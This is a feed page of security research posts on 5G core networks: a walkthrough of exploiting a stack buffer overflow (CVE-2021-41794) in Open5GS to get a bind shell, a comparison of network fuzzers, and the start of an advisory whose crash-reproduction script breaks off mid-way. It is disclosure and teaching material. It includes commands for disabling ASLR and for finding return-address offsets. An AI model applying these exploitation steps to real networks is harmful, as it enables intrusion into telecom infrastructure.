πŸ”’
There are new articles available, click to refresh the page.
Before yesterdayNCC Group Research

Exploit the Fuzz – Exploiting Vulnerabilities in 5G Core Networks

16 November 2021 at 15:26

Following on from our previous blog post β€˜The Challenges of Fuzzing 5G Protocols’, in this post, we demonstrate how an attacker could use the results from the fuzz testing to produce an exploit and potentially gain access to a 5G core network.

In this blog post we will be using the PFCP bug (CVE-2021-41794) we’d previously found using Fuzzowski 5GC in Open5GS[1] (present from versions 1.0.0 through 2.3.3), to demonstrate the potential security risk a buffer overflow can cause.

We will cover how to examine the bug for possible exploit, how to create the actual exploit code, and how it is integrated into a PFCP message.Β  Finally, we will discuss mitigations that can help reduce/eliminate this type of attack.

In this blog we have taken steps to simplify the process in an effort to make it available to a wider audience.Β  We have used a proof of concept to explain the techniques and turned off some of the standard mitigations to reduce the complexity of the exploit.

Background

Previously we used Fuzzowski 5GC to fuzz the UPF component of the Open5GS project (version 2.2.9).Β  The fuzz testing found a buffer overflow bug in the function β€˜ogs_fqdn_parseβ€˜.Β  This type of bug is reasonably easy to exploit, and the basic idea is shown below.

We will use this bug to show how a malicious payload can be written to the variable β€˜dnn’, the variable overflowed to set the return address, and execution gained to take control of the UPF process.

Test Environment

To make the exploit development easier and to keep the technical details as simple as possible, a few security mitigations were disabled:

  • ASLR – Address Space Layout Randomization
  • Stack protection
  • Stack non-exec (NX)

Many systems run with insufficient mitigations, so testing exploitation in this context makes sense for showing how exploitation might be possible against one of these platforms. Furthermore, most of these mitigations can be bypassed given the right bug conditions. Although we didn’t investigate bypassing these mitigations for this research, it may be possible that certain manifestations of the bug allow for exploitation on a more hardened platform.

The following environments and tools were used to test and develop the exploit:

  • Open5GS version 2.2.9 – The target
  • Ubuntu 20.04 VM – Host for Open5GS
  • Kali Linux 2021.1 VM – Tools for exploit development
  • MsfVenom – Metasploit standalone payload generator
  • Msf-pattern_create – Unique string pattern generator
  • Msf-pattern_offset – Finds substring in string generated by msf-pattern_create
  • GDB Debugger – For examining the execution
  • Visual Code – Source code editor
  • Netcat – To test the exploit

In the past low-level knowledge of assembler was often required to write the exploit, but with the advent of tools such as MsfVenom, generating exploit code is now ridiculously easy. However, there are still instances where custom shell code is required to develop a working exploit, for example if space is limited.

Where to Start?

First, we need to find exactly where the buffer overflow occurs and why.Β  This stage has already been covered so please refer to the previous blog post β€˜The Challenges of Fuzzing 5G Protocols’ for more details.

For a quick recap we have a buffer created on the stack called β€˜dnn’ which is defined as 100 bytes long.

This buffer is passed into the function β€˜ogs_fqdn_parse’ as a pointer along with the source data buffer (message->pdi.network_instance.data) containing the value of β€˜internet’ which is 8 bytes long (message->pdi.network_instance.len).

When the β€˜ogs_fqdn_parse’ function executes, the memcpy copies data from the source to the destination overflowing the destination buffer by 5 bytes in this example.Β  By reviewing the source code, we can see that we have control over the contents of the β€˜src’ parameter and the β€˜length’ parameter.Β  Also note that we have read beyond the end of the β€˜src’ buffer which could be used to leak information, but that’s a different type of bug that we won’t explore here.

On examining the function β€˜ogs_fqdn_parse’, it’s possible to see that we can write as much data as we like into the destination buffer.Β  The only issue we face when trying to insert assembly code is the insertion of β€˜.’ character or the null termination byte after the memcpy at line 302 and 304 above.

So, although we can write as much data as we want, we are limited to how much code can be inserted if we want to keep this example as simple as possible.Β  As the variable β€˜len’ is an unsigned byte the maximum number of bytes for assembly code is limited to 255 bytes.Β  We could of course write some custom assembly code to jump over the β€˜.’ characters but this adds extra complication.

Before rushing off to code our exploit, it is always worth looking at the other places this function is used as there may be a better opportunity to exploit the bug.Β  So lets search the source code for other calls to β€˜ogs_fqdn_parse’.

As we can see this function is used by several other components in the 5G core which could also be potential targets.Β  This opens up the attack vectors as we now have potentially multiple 5G core components that can be exploited in a similar fashion.Β  While the fuzzer only found a single bug in one component (in this case the UPF), examining the code shows that other components such as the AMF, MME, SMF, SGWC may be susceptible to the same issue.Β  This also highlights that fuzz testing alone will not necessarily find all vulnerabilities, in this example we fuzzed the AMF, MME and failed to discover the same bug.

It is worth pointing out that some of these other calls are not exploitable due to size checks before the call to β€˜ogs_fqdn_parse’.Β  For example, in the following code, the function β€˜ogs_nas_5gs_decode_dnn’ the size of the input data is checked against the size of the data structure β€˜ogs_nas_dnn_t’ on line 122 below.Β  This prevents the function β€˜ogs_fqdn_parse’ from being called if the input data is larger than the destination structure, which prevents the stack from being corrupted.

For our example exploit we will continue to use the original location of the buffer overflow discovered by our fuzzer.Β  The function β€˜ogs_pfcp_handle_create_pdr’ which is called when the UPF processes a PFCP Session Establishment Request message.

Proof of Concept

To demonstrate the exploit, it is easier to create a simple test program before attempting to exploit the actual component where the stack may be more complicated.

The code below shows a simple test program structured similar to how the function is called in the actual UPF application.Β  Initially we want to determine the offset on the stack of the function return address for the function β€˜test’ in our example.

This simple test program creates a variable β€˜dnn’ on the stack along with a unique string of characters for the β€˜name’ variable.Β  The function β€˜ogs_fqdn_parse’ is then called to cause the stack corruption and overwrite the return address of the β€˜test’ function.Β  This should cause the test program to crash as the value written to the return address is unlikely to be a valid memory address.

Generating the data for the name variable is done by using the Metasploit Framework tool β€˜pattern_create.rb’.Β  This generates a unique sequence of characters that can later be used to find the relevant offset for the return address.

Command to generate unique string of characters:
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

The function β€˜ogs_fqdn_parse’ is expecting the data to start with a single byte indicating the length of the data to follow.Β  To copy the 1000 bytes of data that has been generated onto the stack, we need to split it up and specify the relevant sizes in bytes.

Before we can run the program, we need to switch off ASLR (Address Space Layout Randomization).

$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Then enable unlimited file size for core files.

$ ulimit -c unlimited

If we compile the test application and run it, we get the following output:

$ cc -g test_stack.c -o test_stack

$ ./test_stack 
dnn address: 0x7fffffffdfb0
zsh: segmentation fault (core dumped)  ./test_stack

As expected, the program crashed because we wrote 1000 bytes of data over important stack variables required for normal program execution.Β  The observant amongst you will have realized that we actually wrote 1010 bytes to the stack, but we will come back to that later.

So now we have run the test program and it has generated a core file, it’s now time to examine the crash and find the offset to the magic return address.Β  We will now examine the core file using the debugger gdb.

Using the following command let’s load the core file with gdb so we can examine it:

$ gdb ./test_stack --core=core

The following image shows the stack layout before the memcpy is executed.Β  Looking at the layout we should only need to write approximately 116 bytes to overwrite the return address, so writing 1000 bytes is a bit of an over kill for the proof of concept. Β However, the stack in the UPF may have more variables between the variable β€˜dnn’ and the return address which may require us to write a reasonable amount of data to the stack before we reach the location of the return address we are trying to change.

All we need to do now is use another Metasploit Framework tool called β€˜pattern_offset.rb’ to calculate the offset of the return address.Β  To do this we take the address stored in the saved RIP register associated with the function β€˜test’ stack frame (i.e. 0x4131654130654139), and use it as the query parameter for β€˜pattern_offset.rb’.

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x4131654130654139
[*] Exact match at offset 119

An exact match is found at offset 119.Β  We need to be careful here as this is not the actual offset of the return address.Β  119 is the offset of part of our string from the beginning of our unique string.Β  As mentioned earlier we actually wrote 1010 bytes to the stack, which we now need to consider when calculating the final offset of the return address.

We can check this by displaying the first 128 bytes of the stack variable β€˜dnn’ in our example program.

Using the following command in the debugger to show the contents of β€˜dnn’
(gdb) x/128bb dnn 

Note there is a gap between the end of the β€˜dnn’ variable and the frame pointer which is due to 16-byte alignment requirements.

Creating the Exploit

This is where in the good old days you would crack open the β€˜64-IA-32 Architectures Software Developer Instruction Set Reference Manual[2]’ and start hand crafting some assembly code.Β  Fortunately, these days the Metasploit Framework has made this task very simple indeed.

The Metasploit Framework tool β€˜MsfVenom’ can generate a number of different payloads/exploits by simply providing a few command line options.

We have chosen the payload β€˜linux/x64/shell_bind_tcp’ which generates code to start a shell prompt when a connection is made to the specified port 5600.Β  The option to append code to exit the program has also been included.Β  The β€˜-f’ option is used to generate C code.

As we can see from the output of β€˜MsfVenom’, the payload is conveniently only 94 bytes long.Β  This means that we can copy it directly to the stack without worrying about the β€˜.’ or null character messing up our assembly code. If the payload was longer than 255 bytes (the maximum size of a chunk we can copy) we would need to write some custom assembly code to skip over the β€˜.’ character that is inserted after each chunk of data is copied.

If we now replace the unique ASCII string in our test program with the output from β€˜MsfVenom’ and the return address, we should have a working exploit!

Exploiting the UPF Component

Now we have a working proof of concept we know our exploit works.Β  All we need to do now is repeat the process of finding the return address when returning from the function β€˜ogs_pfcp_handle_create_pdr’, calculate the offset of the β€˜dnn’ buffer and finally create a suitable PFCP Session Establish Request message to send the exploit to the UPF.

Sounds straightforward enough, however the reality is a little more complicated.Β  To start with the function β€˜ogs_pfcp_handle_create_pdr’ is a bit more complicated than our simple β€˜test’ function.Β  From the point where we overflow the stack variable β€˜dnn’, we need execution to continue until the end of the function β€˜ogs_pfcp_handle_create_pdr’ for our exploit code to be executed.Β  As there are several other function calls and variable assignments, we need these to complete without crashing the UPF.

The main problem we have is the variable β€˜pdr’ which is a pointer on the stack.Β  This will be overwritten when we overwrite the return address because it is at a higher address on the stack compared to the β€˜dnn’ variable.

To fix this we need to find the offset of the variable β€˜pdr’ and assign it to something sensible when we overflow the variable β€˜dnn’.Β  We can use the Metasploit tools β€˜pattern_create.rb’ and β€˜pattern_offset.rb’ again to determine this offset. Β Once the variable β€˜pdr’ has been fixed up, the function then executes to completion and returns, executing our exploit code.

The value of β€˜pdr’ is at a fixed offset in our example as we have disabled ASLR.Β  This means that we can hard code the value in our exploit once we have calculated it.

To create the PFCP Session Establish Request message we used Fuzzowski 5GC and set the Network Instance Information Element to contain our exploit code.

We then tested the exploit by using Fuzzowski 5GC to send the PFCP messages to the UPF.

After successful testing of the exploit, we used the POC (Proof of Concept) feature of Fuzzowski 5GC to generate a standalone python exploit script.Β  This saves a lot of time compared to hand crafting the messages and having to calculate nested length fields and checksums etc.Β  Below is a section of the PFCP Session Establish Request message containing our exploit, the β€˜pdr’ pointer fix and the return address.

Mitigations

To simplify this blog post and hopefully make it understandable to a wider audience, the standard mitigations that help prevent these kinds of bugs being exploited have been disabled.Β  This enabled a much simpler exploit process to be followed, allowing us to demonstrate the potential damage that can be done by exploiting buffer overflows.

The following mitigations would make the demonstrated exploit much harder, but not necessarily impossible to exploit.

  • ASLR – Address Space Layout Randomization
  • Stack protection
  • Stack execution prevention

ASLR – Address Space Layout Randomization

Randomizing the loading address of various parts of an application make it difficult for an attacker to locate parts of the application they want to target.Β  For example, most operating systems implement some form of ASLR which changes the address of things such as the stack, heap, and library modules.Β  Generally, applications need to be compiled with support for ASLR.

Stack Protection

By enabling stack protection options during compilation of an application, extra code can be inserted before and after each function in an attempt to detect stack corruption within a function.Β  This may prevent further exploitation to some degree, but it will cause the application to exit which is not necessarily desirable.

Stack Execution Prevention

By preventing the area of memory that contains the stack from being executable, the type of exploit demonstrated would not be possible.Β  There are however other techniques that can be used to circumvent this protection.

Other Mitigations

There are several other mitigations that could help prevent this type of bug in the first place.Β  For example:

  • Better functional/system testing
  • Better coding standards/practices
  • Use of more secure versions of functions to replace functions like memcpy
  • Code reviews
  • Use of static analysis tools
  • Fuzz Testing
  • Design with security in mind

The Bug Fix

In version 2.3.4 of Open5GS a fix was implemented for our original reported bug (CVE-2021-41794).Β  While this patch fixed the reported bug there are still issues with the function β€˜ogs_fqdn_parse’.

As the β€˜srcβ€˜ buffer is effectively controlled by the attacker the above issues are possible depending upon how the function β€˜ogs_fqdn_parseβ€˜ is called.Β  If size checks have been done before calling the function, then it’s not so much of an issue, however it is asking for trouble to have the user of the function validating what’s passed in to prevent the buffer overflow.

The current patch in version 2.3.4 is susceptible to the second issue of writing a null byte beyond the end of the destination buffer.

This just highlights the importance of using all possible mitigations to avoid releasing vulnerable code in the first place.

The original PFCP bug (CVE-2021-41794) was concerned with the calculation of the β€˜lenβ€˜ variable at line 328 above, and its use in the memcpy at line 334 without being validated. The expectation was for the function β€˜ogs_fqdn_parseβ€˜ to be completely rewritten instead of an β€˜ifβ€˜ statement being added to only fix the original bug.

Although reading beyond the length of the β€˜srcβ€˜ variable requires a coding error in the calling function, the one byte buffer overflow can be caused by data passed in by an attacker.

  • 01/11/2021 – Notified Open5GS of issues (read beyond β€˜srcβ€˜ variable and one byte overflow to β€˜dstβ€˜ variable)
  • 06/11/2021 – Requested example packet to cause one byte overflow
  • 09/11/2021 – Sent example python script and screenshot to demonstrate one byte overflow
  • 15/11/2021 – Open5GS main branch patched

This will be fixed in Open5GS versions released after 2.3.6. However the solution of extending the buffers by one byte is not an ideal fix.

We hope this blog post has given you a high level technical insight into the dangers of a simple buffer overflow bug, and how it can potentially be exploited by an attacker!

Glossary

Term Description
ASLR Address Space Layout Randomization
UPF User Plane Function
Fuzzer Software that generates invalid input for testing applications
Stack Area of memory used to store function call data
MME Mobility Management Entity

References

[1] GitHub – open5gs/open5gs: Open5GS is an Open Source implementation for 5G Core and EPC

[2] 64-IA-32 Architectures Software Developer Instruction Set Reference Manual

How to work with us on Commercial Telecommunications Security Testing

NCC Group has performed cybersecurity audits of telecommunications equipment for both small and large enterprises. We have experts in the telecommunications field and work with world-wide operators and vendors on securing their networks. NCC Group regularly undertake assessments of 3G/4G/5G networks as well as providing detailed threat assessments for clients. We have the consultant base who can look at the security threats in detail of your extended enterprise equipment, a mobile messaging platform or perhaps looking in detail at a vendor’s hardware. We work closely with all vendors and have extensive knowledge of each of the major vendor’s equipment.

NCC Group is at the forefront of 5G security working with network equipment manufacturers and operators alike. We have the skills and capability to secure your mobile network and provide unique insights into vulnerabilities and exploit vectors used by various attackers. Most recently, we placed first in the 5G Cyber Security Hack 2021 Ericsson challenge in Finland.

NCC Group can offer proactive advice, security assurance, incident response services and consultancy services to help meet your security needs.

If you are an existing customer, please contact your account manager, otherwise please get in touch with our sales team.

The Challenges of Fuzzing 5G Protocols

11 October 2021 at 17:30

If you have ever looked at fuzzing in any depth you will quickly realize it’s not as trivial as it first appears.

There are many different types of fuzzers, but here we are focused on network fuzzers.Β  These fuzzers are of particular interest as they are most suited to fuzzing telecoms products/protocols, where the application and source code are generally not available.Β  There are very few fuzzer options when the input to these applications is via network sockets instead of the more traditional command line interface.

In this blog we will cover some basic background of fuzzing, before diving into the specifics of trying to fuzz telecoms 5G protocols using both proprietary and open source fuzzers.Β  We will aim to assess these fuzzers for their suitability to fuzz 5G network protocols.Β  We will end this post with a comparison of the fuzzers, some of the findings, and a general conclusion regarding the fuzzing of 5G telecoms protocols.

The focus of this research is on the use of the different fuzzers with regard to 5G telecoms protocols and not the specific vulnerabilities that were found, although one example vulnerability found is cited within.

Background

So, what is fuzzing?Β  Fuzzing is simply an automated process of sending invalid or random inputs to a program/system under test in an attempt to cause a crash or malfunction.

Fuzzing is not a new technology, however it is becoming more prominent in today’s software development life cycle. It is often used to find vulnerabilities in software that might otherwise be missed by normal unit/system tests.Β 

While the high-level concept of fuzzing is easy to grasp, the actual implementation of a good fuzzer is significantly more challenging.

The renewed interest in fuzzing has come about due to the increasing complexity of software and the need to effectively test and secure it.Β  While positive testing is generally more obvious (i.e. testing the software does what it was designed to do), negative testing in normally forgotten about (testing the software handles unexpected input without crashing or malfunctioning).

Traditional fuzzers tend to focus on fuzzing a piece of software and generate inputs via the command line or input files.Β  Some of the popular continuous integration frameworks (GitLab) are now starting to include fuzzing as part of the continuous integration build pipeline.

Fuzzing network protocols is a little different however, and requires sending input via network ports.Β  There are typically multiple network protocols involved in any communication and these protocols are layered on top of each other.Β  Some protocols are stateless, and others have state which adds to the complexity.Β  Due to the nature of network protocols the System Under Test (SUT) could be either local (on the same physical/virtual machine) or on a remote physical/virtual machine.Β  These differences add to the challenge of fuzzing a SUT using network protocols.

The next difficulty specific to fuzzing 5G protocols is getting access to a 5G Core or component.Β  There are two open-source solutions Free5GC and Open5GS which were examined for our testing.Β  Open5GS was chosen due to it being more stable and easier to install than Free5GC.Β  Neither of these solutions are commercial grade but they do give a reasonable test target to fuzz for free.

We also need some network fuzzers…

Meet the Fuzzers

One in-house, and two open-source network protocol fuzzers were used for testing: Fuzzowski 5GC, Frizzer2, and AFLNet3.Β  They all have completely different approaches to fuzzing from the generation of the test cases to the feedback on progress made.

Fuzzowski1 was chosen as it had previously been used to fuzz network printer protocols and was developed by NCC Group from the open-source project BooFuzz4.Β  Fuzzowski is open source, however the modified version used here for fuzzing 5G is not currently an open-source project.

Frizzer is a black box fuzzer that uses dynamic binary instrumentation to give coverage feedback to guide the fuzzer.Β  No source code or recompilation of the SUT is needed.

AFLNet was used as a comparison due to the reputation of AFL being a well-used fuzzer with proven results.Β  AFLNet builds on top of AFL to perform network fuzzing and track state changes using the network responses.

Fuzzowski 5GC

Fuzzowski 5GC is a template based mutational/generational fuzzer.Β  This simply means that the format of the input is specified, and the values defined within the format are mutated using selected algorithms depending upon the data type.

Fuzzowski 5GC can fuzz sequences of messages however it has no concept of state.Β  As Fuzzowski 5GC is aware of the data structure being fuzzed, it can fix checksums and length fields which helps avoid early parsing errors that would prevent testing of deeper parts of the protocol stack.

Fuzzowski 5GC is a black box fuzzer meaning it has no knowledge of the SUT other than the network API.

Frizzer

Frizzer is a black box guided mutational based fuzzer.Β  It uses example input and randomly mutates it using Radamsa7.Β  It uses Frida6 to dynamically instrument the SUT to provide code coverage feedback.

AFLNet

AFLNet is a guided mutational based fuzzer.Β  It uses example input and randomly mutates part of the input based on different mutation algorithms.Β  It has no knowledge of the input data format and uses state feedback from the network messaging to guide the fuzzing process.

AFLNet is a grey box fuzzer as it uses source code instrumentation to generate the code coverage feedback.

The Test Environment

For testing the fuzzers an ubuntu environment running Open5GS5 was used.

Open5GS is an open-source implementation of a 5G Core and EPC written using the C language.Β  Open5GS was chosen to emulate the 5G core as it is freely available and actively being maintained.Β  Due to it not being a commercial product and written in C, it makes an ideal target for fuzzing as it is unlikely to be as thoroughly tested.Β  It is also more likely to be focused primarily on functionality, rather than security.

As the protocol specifications are the same for both open source and commercial products, the network message formats should be representative of a real 5G Core network. We chose to limit the scope of testing to look at the NGAP, GTPU, PFCP, and DIAMETER protocols, which we will explain briefly below.

All the fuzzers were tested against the AMF component of the Open5GS software to fuzz the more complex NGAP protocol.Β The theory being that as one of the more complex 5G protocols, it has a higher probability of bugs – however, it is also more difficult to fuzz as a result of its complexity.

Fuzzowski 5GC was also tested against other 5G components to fuzz the GTPU, PFCP and DIAMETER protocols.

Finding vulnerabilities in these protocols and their implementation can lead to various types of attack scenarios such as denial of service, privilege escalation, remote code execution, user information disclosure and capture.

GTPU

GPRS Tunneling User Data Protocol (GTPU) is effectively a relatively simple IP based tunnelling protocol, which can have many tunnels between each set of end points.Β  It is used to tunnel user plane data between different network nodes.Β  In our testing this is the N3 interface between gNB and UPF.

PFCP

Packet Forwarding Control Protocol (PFCP) facilitates the establishment, modification, and deletion of Sx sessions within the user plane function.Β  PFCP rules which are passed from the control plane function to the user plane function include things like Packet Detection Rule (PDR), QoS Enforcement Rule (QER), Buffering Action Rule (BAR) etc.Β  In our testing this is the N4 interface between the UPF and SMF.

DIAMETER

DIAMETER is an authentication, authorization and accounting protocol and is an application layer protocol.Β  The base protocol can be extended by adding new commands and/or attributes.Β  In our testing this is the S6a interface between the MME and HSS.Β  The DIAMETER S6a interface allows for mobile device related location information and subscriber management information between MME and HSS.

NGAP

Next Generation Application Protocol (NGAP) supports both UE and non-UE associated services.Β  It includes operations such as configuration updates, UE context transfer, PDU session resource management and also support for mobility procedures.Β  In our testing this is the N2 interface between the AMF and gNB.

Fuzzing Results

Fuzzowski 5GC found several issues with GTPU, PFCP and DIAMETER but failed to find anything for the NGAP protocol.

Frizzer and AFLNet were only run against a subset of the 5G protocols and found some issues which at time of writing are under further investigation and, as appropriate, coordinated disclosure.

The types of crashes that can be observed in these targets could cause loss of service for subscribers of the network, preventing them from connecting to the network (denial of service), or potentially other security implications if stack/heap corruptions can be exploited to execute code or gain privileged access.

The following is an example crash caused while fuzzing the GTPU/PFCP protocols using Fuzzowski 5GC. This bug has now been patched as of October 6thΒ 2021 (fix committed to main branch of Open5GS and released in version 2.3.4).

In the next section, we’ll discuss this bug in more depth, but also share the associated Technical Advisory and CVE details below:

PFCP Bug (CVE-2021-41794)

This shows a stack corruption caused by the function β€˜ogs_fqdn_parse’ writing beyond the end of the β€˜dnn’ character buffer which is defined on the stack as 100 characters (OGS_MAX_DNN_LEN = 100). If β€˜message->pdi.network_instance.data’ contains the value β€˜internet’ for example, it causes stack corruption to occur.

There are a few issues with the function β€˜ogs_fqdn_parse’. The first is the calculation of the variable β€˜len’ which is being set to the value of the first character in the β€˜src’ parameter. In this example it is the lower case letter β€˜i’ which equates to the numerical value 105. The length of the β€˜src’ parameter is 8, however this is not checked until it’s too late. The memcpy reads past the end of the β€˜src’ parameter and also writes beyond the end of the β€˜dst’ parameter (which is actually the variable β€˜dnn’ on the stack).

As the β€˜src’ parameter is ultimately coming from the PFCP Session Establishment Request it could be manipulated to contain any value and the length controlled by setting the first byte.

Comparative Performance of the Selected Fuzzers

Fuzzowski 5G

Fuzzowski 5GC proved to be good at finding bugs in state less protocols, however various modifications were made to Fuzzowski 5GC in an attempt to fuzz the NGAP protocol.

The biggest issue with using Fuzzowski 5GC is that it needs the structure of the messages to be defined.Β  Creating message definitions, sequences, and functionality to handle message sequences is a slow and manual process.Β  The messages are generally created from WireShark captures and therefore tend not to cover all parts of the protocol specification (e.g., optional elements).

Frizzer

Frizzer was easy to setup as the source code was available for the SUT.Β  If there had been no source code, some reverse engineering would be required to find the function/address of the network processing section of the application.

The SCTP protocol was added to Frizzer so that it could connect to the AMF.Β  It was also modified to keep the SCTP connection open between tests as the AMF would fail otherwise.

As frizzer uses Frida6 to dynamically instrument the binary there is no need for special compilation of the application, as required with AFLNet.

Frizzer has the same issues as AFLNet regarding checksums, although it may be possible to use Frida6 to dynamically change the execution path of the SUT and force checksum calculations to pass.

Frizzer testing was limited as without fixing a bug in the AMF the testing kept stopping after a few hundred test cases.

AFLNet

AFLNet required a reasonable amount of work to setup.Β  The program defaults were not suitable for our testing purposes, so they were overridden on the command line.Β  The SCTP protocol was added to the connection types to prevent the SCTP protocol from being fuzzed.

For AFLNet to function the SUT needs to be compiled with instrumentation.Β  To compile the AMF application, the build process for Open5GS was modified to instrument the code.Β  Due to the AMF application being initialized for every test by AFLNet, the process of fuzzing was very slow compared to the other fuzzers.

Because of the slow speed of fuzzing, minimal time and effort was spent to enable fuzzing of a single NGAP message.Β  The mutational nature of AFLNet means it would not be very effective at dealing with length and checksum parameters, making it difficult for it to explore the deeper parts of the protocol.

What We Learnt by Fuzzing 5G Protocols

This research shows that fuzzing 5G telecoms protocols is not as straightforward as downloading your favorite open source fuzzer and hitting go!Β  Sure, they might find a few bugs in the simple stateless protocols, but they fail to find those deeper, harder to reach issues. Fuzzing 5G protocols introduces specific challenges, such as the need for binary instrumentation of commercial 5G components for which source code is unavailable.

A good starting point for any telecoms fuzzer would be to create input from the ASN1 definitions of the protocols.Β This would make it easier to create test cases for specific versions of protocols, and give better coverage of the protocol compared to manually defining the input.Β  It would also be quicker and a lot less error prone to produce the test cases.Β  This approach would require writing an ASN1 parser which could generate suitable output for use with the fuzzer (a reasonable challenge in itself).

It is unlikely that source code would be available when testing a commercial 5G component.Β  For this reason, binary instrumentation would greatly help in guiding a fuzzer.Β  It is possible to use tools like Frida6 to instrument the SUT to give coverage feedback similar to AFL.

Monitoring for crashes is more challenging as the SUT may be on a remote server.Β  A monitoring application would need to run on the same server as the SUT to feed status information back to the fuzzer.Β  As Frida6 runs in the target process it could be used for monitoring as well as providing other feedback.

Another issue encountered is unexpected messages.Β  Some 5G protocols (e.g., NGAP) repeatedly send requests at timed intervals if an invalid response is received.Β  This causes problems for fuzzers like Fuzzowski 5GC which has a predefined message sequence.Β  Issues such as this render Fuzzowski 5GC less effective when testing a real system (these messages were disabled during our testing for the open-source products).

There are very few companies offering network fuzzers for 5G protocols and it is easy to see why.Β  Some fuzzers are more costly and require long testing cycles with complex configuration. Β All this extra time and complexity, eats into any development cycle especially if deadlines are tight. Β Outsourcing security testing particularly if a business is not resourced to conduct assessments to certain levels of accreditation, is key to easing this burden.

The Catalogue of General Security Assurance Requirements (3GPP TS 33.117 version 16.5.0 Release 16) contains a section on Robustness and Fuzz Testing with more and more operators, regulators and accreditation bodies requiring thorough fuzzing and testing of 5G components in the coming years. Β To satisfy these requirements, it is clear a combination of fuzzing tools and techniques are required.

Fuzzowski 5G Modifications

A lot of work has been put into improving Fuzzowski to create our proprietary version for 5G protocols, Fuzzowski 5GC.Β  The following is a high-level list of functionality/fixes that have been added to the publicly available Fuzzowski1:

  • Global/Local JSON configuration files
  • Variables for requests
  • Groups to fuzz sections of a request with a set of specific values
  • Setup/Teardown for each testcase (used in GTPU fuzzer to setup GTP tunnel)
  • SCTP connections
  • HTML documentation
  • Render option to output byte stream for a request to help with debug
  • Help option to display all available options
  • Added receive strategy
  • Added more test cases to validate functionality
  • Protocols added: GTPU, PFCP, DIAMETER, SIP, NGAP/NAS
  • Lots of bug fixes and code improvements

Glossary

Term Description
SUT System Under Test
AMF Access and Mobility Management Function
UPF User Plane Function
Fuzzer Software that generates invalid input for testing applications
Coverage Guided Source code is instrumented to give source code coverage metrics to help guide the fuzzer to generate data that uncovers new execution paths within the source code.
Generational Template Fuzzing Β  Uses a predefined template to specify the structure of the data and then generates invalid data using an algorithm.
MME Mobility Management Entity
HSS Home Subscriber Server
gNB New Radio Node B
ASN1 Abstract Syntax Notation One (ASN.1)

References

[1] GitHub – nccgroup/fuzzowski: the Network Protocol Fuzzer that we will want to use.

[2] GitHub – demantz/frizzer: Frida-based general purpose fuzzer

[3] GitHub – aflnet/aflnet: AFLNet: A Greybox Fuzzer for Network Protocols

[4] GitHub – jtpereyda/boofuzz: A fork and successor of the Sulley Fuzzing Framework

[5] GitHub – open5gs/open5gs: Open5GS is an Open Source implementation for 5G Core and EPC

[6] Frida – A world-class dynamic instrumentation framework

[7] GitLab – Aki Helin / radamsa

How To Work with Us on Commercial Telecommunications Security Testing

NCC Group has performed cybersecurity audits of telecommunications equipment for both small and large enterprises. We have experts in the telecommunications field and work with world-wide operators and vendors on securing their networks. NCC Group regularly undertake assessments of 3G/4G/5G networks as well as providing detailed threat assessments for clients. We have the consultant base who can look at the security threats in detail of your extended enterprise equipment, a mobile messaging platform or perhaps looking in detail at a vendor’s hardware. We work closely with all vendors and have extensive knowledge of each of the major vendor’s equipment.

NCC Group is at the forefront of 5G security working with network equipment manufacturers and operators alike. We have the skills and capability to secure your mobile network and provide unique insights into vulnerabilities and exploit vectors used by various attackers. Most recently, we placed first in the 5G Cyber Security Hack 2021 Ericsson challenge in Finland.

NCC Group can offer proactive advice, security assurance, incident response services and consultancy services to help meet your security needs.

If you are an existing customer, please contact your account manager, otherwise please get in touch with our sales team.

Technical Advisory – Open5GS Stack Buffer Overflow During PFCP Session Establishment on UPF (CVE-2021-41794)

6 October 2021 at 15:07
Vendor: Open5GS
Vendor URL: https://github.com/open5gs/open5gs
Versions affected: 1.0.0 to 2.3.3
Systems Affected: Linux
Author: mark.tedman[at]nccgroup[dot]com
Advisory URL / CVE Identifier: CVE-2021-41794
Risk: CVSSv3.1: 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)

Summary

When connecting to the UPF port for the PFCP protocol (8805) and sending an Association Setup Request followed by a Session Establishment Request with a PDI Network Instance set to β€˜internet’, it causes a stack corruption to occur.

Impact

Exploitation of this vulnerability would lead to denial of service for the subscriber’s equipment.

Details

Sending a PFCP Association Setup followed by a PFCP Session Establishment Request with the settings detailed below is enough to cause the stack overflow.Β  The issue is caused by the function ogs_fqdn_parse in the file lib/core/ogs-3gpp-types.c calculating a length value used in a memcpy without validating it.

Directly affected files:

  • Function: ogs_fqdn_parse in /lib/core/ogs-3gpp-types.c
  • /lib/nas/5gs/ies.c
  • /lib/nas/eps/ies.c
  • /lib/pfcp/handler.c
  • /lib/pfcp/types.c
  • /lib/sbi/nnrf-handler.c
  • /src/mme/sgsap-handler.c
  • /src/sgwc/s11-handler.c
  • /src/smf/context.c

The following python script can be used to replicate the issue:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(1.0)

pfcp_association_setup_req = b'\x20\x05\x00\x1a\x00\x00\x01\x00\x00\x3c\x00\x05\x00\xc0\xa8\x3f\x88\x00\x60\x00\x04\x5f\xf4\x38\x25\x00\x59\x00\x01\x00'

